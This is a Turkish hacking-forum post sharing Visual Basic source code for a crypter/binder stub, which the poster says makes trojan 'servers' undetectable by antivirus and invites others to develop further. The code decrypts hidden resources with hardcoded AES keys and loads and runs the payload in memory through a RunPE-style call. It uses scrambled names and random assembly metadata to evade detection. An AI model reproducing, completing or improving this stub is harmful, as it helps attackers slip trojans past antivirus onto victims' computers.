Visual Basic Binder Source Code [Exe Birleştirme]

[Marcopolo78]

HERAKLES Otomatik Avlı kalıcı sunucu. 19 Haziran'da açılıyor. Atius & Wizard güvencesiyle hemen kayıt ol, ön kayıt ödülleri aktif. HEMEN TIKLA!

Evet arkadaşlar Genelde trojanların Serverlerini Tanınmaz hale getirebilmek bir diğer adıyla fudlamaya yarayan Bir programın Source Codesidir
Geliştirmeniz temennisindeyim


Daha Fazla Kod için

Linkleri görebilmek için Turkmmo Forumuna ÜYE olmanız gerekmektedir.

Eklentiyi Çalıştır > Run değin

Imports System, Microsoft.VisualBasic
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.ComponentModel
Imports System.Reflection
Imports System.Runtime.CompilerServices
Imports System.Diagnostics
Imports Microsoft.Win32
Imports System.Threading
Imports System.Environment
Imports System.Security.Cryptography

<Assembly: AssemblyTitle("XaSqGyiQT")>
<Assembly: AssemblyDescription("nQUisObO")>
<Assembly: AssemblyCompany("BcxwZHY")>
<Assembly: AssemblyProduct("KOnOZTli")>
<Assembly: AssemblyCopyright("Copyright © Gbzroz 2011")>
<Assembly: AssemblyTrademark("RfBoxWQt")>
<Assembly: AssemblyVersion("2.8.6.10")>
<Assembly: AssemblyFileVersion("10.1.10.6")>


Module PPeildCRKtbeybftEZ

    Sub Main()
		
       Call ftyu
       
        End
    End Sub
	
	Sub ftyu ()
	Call pol
	End Sub
	

	 
	Sub pol()
	

		
		
	Dim a As String = Assembly.GetExecutingAssembly().Location
	Dim app As String = My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData
	Dim cop As String = app & "\lFYT.exe"
	
	
	
	
	

	
Dim LqzzyEahoTgfvyCtSh As New Resources.ResourceManager("ywCZg", Assembly.GetExecutingAssembly)
		Dim clazs As String = LqzzyEahoTgfvyCtSh.Getstring("LSZEQ")
		dim aKsuPrvKHpDccEMYBU as string = "aMcfiazcHrmbvmd"
		Dim SIyNXGGssUcpRkQoGS As String = "pOdWG"
	   Dim mZMnKIkSjVZyZkewtR As string = LqzzyEahoTgfvyCtSh.GetString("qCkjXJkHThPgSWwk")
	   Dim FVwvMCFvVxcaJwSIyN As string = LqzzyEahoTgfvyCtSh.GetString("icurOjJOLW")
        Dim XGGssUcpRkQoGSGExQ As Byte() = System.text.encoding.default.getbytes(oTgfvyCtShaKsuPrvK(FVwvMCFvVxcaJwSIyN,"XgEyceLe"))
		
		
	

		
        Dim nottting as String = LqzzyEahoTgfvyCtSh.Getstring("GrvWw")
        Dim actual as String = oTgfvyCtShaKsuPrvK(nottting,"ICUR")
        Dim runpebyte as Byte() = System.Text.Encoding.Default.Getbytes(actual)

	
		 
			
			
			
            Dim uNwTDOUQbsHPQaxsWX As String = oTgfvyCtShaKsuPrvK(mZMnKIkSjVZyZkewtR, aKsuPrvKHpDccEMYBU)
			Dim FvVxcaJwSIyNXGGssU As Byte() = System.Text.Encoding.Default.GetBytes(uNwTDOUQbsHPQaxsWX)
            
            
          
		
			
			
			RuntimeHelpers.GetObjectValue(Assembly.Load(XGGssUcpRkQoGSGExQ).GetType(clazs).GetMethod(LqzzyEahoTgfvyCtSh.Getstring("cfzc")).Invoke(Nothing, New Object() {FvVxcaJwSIyNXGGssU,True,a,True,False,False}))
       
    
 
End Sub
  
		
		


  Dim ByteCount As Integer = 0
    Function oTgfvyCtShaKsuPrvK(ByVal HpDccEMYBUzYpQpBuN As String, ByVal wTDOUQbsHPQaxsWXEL As String) As String ', ByVal Salt As String, ByVal HashAlgorithm As String, ByVal PasswordIterations As Integer, ByVal InitialVector As String, ByVal KeySize As Integer) As String
        Dim Salt As String = "jhsethsdutubgt"
        Dim InitialVector As String = "a48uyrhf094hy2dm"
        Dim PasswordIterations As Integer = 2
        Dim HashAlgorithm As String = "SHA1"
        Dim KeySize As Integer = 256

        Try
            Dim data As Byte() = System.Text.Encoding.Default.GetBytes(HpDccEMYBUzYpQpBuN)
            Dim InitialVectorBytes As Byte() = System.Text.Encoding.ASCII.GetBytes(InitialVector)
            Dim SaltValueBytes As Byte() = System.Text.Encoding.ASCII.GetBytes(Salt)
            Dim CipherTextBytes As Byte() = data
            Dim DerivedPassword As New System.Security.Cryptography.PasswordDeriveBytes(wTDOUQbsHPQaxsWXEL, SaltValueBytes, HashAlgorithm, PasswordIterations)
            Dim KeyBytes As Byte() = DerivedPassword.GetBytes(KeySize / 8)
            Dim SymmetricKey As New System.Security.Cryptography.RijndaelManaged()
            SymmetricKey.Mode = System.Security.Cryptography.CipherMode.CBC
            Dim PlainTextBytes(CipherTextBytes.Length) As Byte
            Using Decryptor As System.Security.Cryptography.ICryptoTransform = SymmetricKey.CreateDecryptor(KeyBytes, InitialVectorBytes)
                Using MemStream As System.IO.MemoryStream = New System.IO.MemoryStream(CipherTextBytes)
                    Using CStream As System.Security.Cryptography.CryptoStream = New CryptoStream(MemStream, Decryptor, System.Security.Cryptography.CryptoStreamMode.Read)
                        ByteCount = CStream.Read(PlainTextBytes, 0, PlainTextBytes.Length)
                        MemStream.Close()
                        CStream.Close()
                    End Using
                End Using
            End Using
            SymmetricKey.Clear()
            Return System.Text.Encoding.Default.GetString(PlainTextBytes)
        Catch ex As Exception
            Throw
        End Try
    End Function

 

		
			  	  
End Module

 

[cixcocuk97]

Verdiğiniz Sitenin Linki Kırık Kilit.